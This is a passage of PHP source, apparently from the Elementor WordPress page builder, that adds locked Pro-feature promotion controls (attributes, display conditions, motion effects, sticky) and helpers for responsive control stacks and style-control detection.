	 * Elementor Pro.
	 *
	 * @param Controls_Stack $controls_stack .
	 * @param string         $tab
	 * @since 2.8.3
	 * @access public
	 */
	public function add_custom_attributes_controls( Controls_Stack $controls_stack, string $tab = self::TAB_ADVANCED ) {
		$controls_stack-&gt;start_controls_section(
			&#039;section_custom_attributes_pro&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Attributes&#039;, &#039;elementor&#039; ),
				&#039;tab&#039; =&gt; $tab,
			]
		);

		$controls_stack-&gt;add_control(
			&#039;custom_attributes_pro&#039;,
			[
				&#039;type&#039; =&gt; self::RAW_HTML,
				&#039;raw&#039; =&gt; $this-&gt;get_teaser_template( [
					&#039;title&#039; =&gt; esc_html__( &#039;Meet Our Attributes&#039;, &#039;elementor&#039; ),
					&#039;messages&#039; =&gt; [
						esc_html__( &#039;Attributes lets you add custom HTML attributes to any element.&#039;, &#039;elementor&#039; ),
					],
					&#039;link&#039; =&gt; &#039;https://go.elementor.com/go-pro-custom-attributes/&#039;,
				] ),
			]
		);

		$controls_stack-&gt;end_controls_section();
	}

	/**
	 * Check if a stack should be cleaned by the current responsive control duplication mode.
	 *
	 * @param array $stack
	 * @return bool
	 */
	private function should_clean_stack( $stack ): bool {
		if ( ! isset( $stack[&#039;responsive_control_duplication_mode&#039;] ) ) {
			return false;
		}

		$stack_duplication_mode = $stack[&#039;responsive_control_duplication_mode&#039;];

		// This array provides a convenient way to map human-readable mode names to numeric values for comparison.
		// If the current stack&#039;s mode is greater than or equal to the current mode, then we shouldn&#039;t clean the stack.
		$modes = [
			&#039;off&#039; =&gt; 1,
			&#039;dynamic&#039; =&gt; 2,
			&#039;on&#039; =&gt; 3,
		];

		if ( ! isset( $modes[ $stack_duplication_mode ] ) ) {
			return false;
		}

		$current_duplication_mode = Plugin::$instance-&gt;breakpoints-&gt;get_responsive_control_duplication_mode();

		if ( $modes[ $stack_duplication_mode ] &gt;= $modes[ $current_duplication_mode ] ) {
			return false;
		}

		return true;
	}

	public function add_display_conditions_controls( Controls_Stack $controls_stack ) {
		if ( Utils::has_pro() ) {
			return;
		}

		ob_start();
		?&gt;
		&lt;div class=&quot;e-control-display-conditions-promotion__wrapper&quot;&gt;
			&lt;div class=&quot;e-control-display-conditions-promotion__description&quot;&gt;
				&lt;span class=&quot;e-control-display-conditions-promotion__text&quot;&gt;
					&lt;?php echo esc_html__( &#039;Display Conditions&#039;, &#039;elementor&#039; ); ?&gt;
				&lt;/span&gt;
				&lt;span class=&quot;e-control-display-conditions-promotion__lock-wrapper&quot;&gt;
					&lt;i class=&quot;eicon-upgrade-crown-full e-control-display-conditions-promotion&quot;&gt;&lt;/i&gt;
				&lt;/span&gt;
			&lt;/div&gt;
			&lt;i class=&quot;eicon-flow e-control-display-conditions-promotion&quot;&gt;&lt;/i&gt;
		&lt;/div&gt;
		&lt;?php
		$control_template = ob_get_clean();

		$controls_stack-&gt;add_control(
			&#039;display_conditions_pro&#039;,
			[
				&#039;type&#039;      =&gt; self::RAW_HTML,
				&#039;separator&#039; =&gt; &#039;before&#039;,
				&#039;raw&#039;       =&gt; $control_template,
			]
		);
	}

	public function add_motion_effects_promotion_control( Controls_Stack $controls_stack ) {
		if ( Utils::has_pro() ) {
			return;
		}

		$controls_stack-&gt;add_control(
			&#039;scrolling_effects_pro&#039;,
			[
				&#039;type&#039;      =&gt; self::RAW_HTML,
				&#039;separator&#039; =&gt; &#039;before&#039;,
				&#039;raw&#039;       =&gt; $this-&gt;promotion_switcher_control( esc_html__( &#039;Scrolling Effects&#039;, &#039;elementor&#039; ), &#039;scrolling-effects&#039; ),
			]
		);

		$controls_stack-&gt;add_control(
			&#039;mouse_effects_pro&#039;,
			[
				&#039;type&#039;      =&gt; self::RAW_HTML,
				&#039;separator&#039; =&gt; &#039;before&#039;,
				&#039;raw&#039;       =&gt; $this-&gt;promotion_switcher_control( esc_html__( &#039;Mouse Effects&#039;, &#039;elementor&#039; ), &#039;mouse-effects&#039; ),
			]
		);

		$controls_stack-&gt;add_control(
			&#039;sticky_pro&#039;,
			[
				&#039;type&#039;      =&gt; self::RAW_HTML,
				&#039;separator&#039; =&gt; &#039;before&#039;,
				&#039;raw&#039;       =&gt; $this-&gt;promotion_select_control( esc_html__( &#039;Sticky&#039;, &#039;elementor&#039; ), &#039;sticky-effects&#039; ),
			]
		);

		$controls_stack-&gt;add_control(
			&#039;motion_effects_promotion_divider&#039;,
			[
				&#039;type&#039; =&gt; self::DIVIDER,
			]
		);
	}

	private function promotion_switcher_control( $title, $id ): string {
		return &#039;&lt;div class=&quot;elementor-control-type-switcher elementor-label-inline e-control-motion-effects-promotion__wrapper&quot;&gt;
			&lt;div class=&quot;elementor-control-content&quot;&gt;
				&lt;div class=&quot;elementor-control-field&quot;&gt;
					&lt;label&gt;
						&#039; . $title . &#039;
					&lt;/label&gt;
					&lt;span class=&quot;e-control-motion-effects-promotion__lock-wrapper&quot;&gt;
						&lt;i class=&quot;eicon-upgrade-crown-full&quot;&gt;&lt;/i&gt;
					&lt;/span&gt;
					&lt;div class=&quot;elementor-control-input-wrapper&quot;&gt;
						&lt;label class=&quot;elementor-switch elementor-control-unit-2 e-control-&#039; . $id . &#039;-promotion&quot;&gt;
							&lt;input type=&quot;checkbox&quot; class=&quot;elementor-switch-input&quot; disabled&gt;
							&lt;span class=&quot;elementor-switch-label&quot; data-off=&quot;Off&quot;&gt;&lt;/span&gt;
							&lt;span class=&quot;elementor-switch-handle&quot;&gt;&lt;/span&gt;
						&lt;/label&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;
		&lt;/div&gt;&#039;;
	}

	private function promotion_select_control( $title, $id ): string {
		return &#039;&lt;div class=&quot;elementor-control-type-select elementor-label-inline e-control-motion-effects-promotion__wrapper&quot;&gt;
			&lt;div class=&quot;elementor-control-content&quot;&gt;
				&lt;div class=&quot;elementor-control-field &quot;&gt;
					&lt;label for=&quot;sticky-motion-effect-pro&quot;&gt;
						&#039; . $title . &#039;
					&lt;/label&gt;
					&lt;span class=&quot;e-control-motion-effects-promotion__lock-wrapper&quot;&gt;
						&lt;i class=&quot;eicon-upgrade-crown-full&quot;&gt;&lt;/i&gt;
					&lt;/span&gt;
					&lt;div class=&quot;elementor-control-input-wrapper elementor-control-unit-5 e-control-&#039; . $id . &#039;-promotion&quot;&gt;
					&lt;div class=&quot;select-promotion elementor-control-unit-5&quot;&gt;&#039; . esc_html__( &#039;None&#039;, &#039;elementor&#039; ) . &#039;&lt;/div&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;
		&lt;/div&gt;&#039;;
	}

	private function is_style_control( $control_data ): bool {
		$frontend_available = $control_data[&#039;frontend_available&#039;] ?? false;
		if ( $frontend_available ) {
			return false;
		}

		if ( ! empty( $control_data[&#039;control_type&#039;] ) &amp;&amp; &#039;content&#039; === $control_data[&#039;control_type&#039;] ) {
			return false;
		}

		if ( ! empty( $control_data[&#039;prefix_class&#039;] ) ) {
			return false;
		}

		$render_type = $control_data[&#039;render_type&#039;] ?? &#039;&#039;;
		if ( &#039;template&#039; === $render_type ) {
			return false;
		}

		if ( &#039;ui&#039; === $render_type ) {
			return true;
		}

		if ( ! empty( $control_data[&#039;selectors&#039;] ) ) {
			return true;
		}

		return false;
	}
}
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